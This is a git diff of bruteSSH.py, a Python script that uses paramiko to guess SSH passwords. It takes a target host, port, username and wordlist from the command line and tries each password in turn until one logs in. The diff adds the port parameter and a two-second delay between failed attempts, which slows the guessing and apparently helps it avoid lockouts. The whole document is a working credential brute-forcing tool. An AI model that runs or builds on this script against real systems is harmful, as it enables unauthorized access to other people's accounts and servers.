diff options
| -rw-r--r-- | bruteforce/bruteSSH.py | 19 |
1 files changed, 11 insertions, 8 deletions
diff --git a/bruteforce/bruteSSH.py b/bruteforce/bruteSSH.py index 32c93cb..f5833c7 100644 --- a/bruteforce/bruteSSH.py +++ b/bruteforce/bruteSSH.py @@ -1,13 +1,15 @@ -import paramiko, sys +import sys +import paramiko +import time -def bruteforce(hostname, username, password): +def bruteforce(hostname, port, username, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: - client.connect(hostname, username=username, password=password) + client.connect(hostname,port,username=username,password=password) except paramiko.ssh_exception.AuthenticationException: print("erreur : ",password) - #pass + time.sleep(2) else: print("trouvé : ",password) return True @@ -16,15 +18,16 @@ def bruteforce(hostname, username, password): if __name__ == "__main__": hostname = sys.argv[1] - username = sys.argv[2] - dico = sys.argv[3] + port = sys.argv[2] + username = sys.argv[3] + dico = sys.argv[4] try: with open(dico, 'r') as wordlist: for ligne in wordlist.readlines(): password=ligne.strip() - if bruteforce(hostname,username,password)==True: + if bruteforce(hostname,port,username,password) is True: sys.exit() except IndexError: - print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments") + print(f"{sys.argv[0]} demande un hôte, un port, un username et une liste de passwords en arguments") |
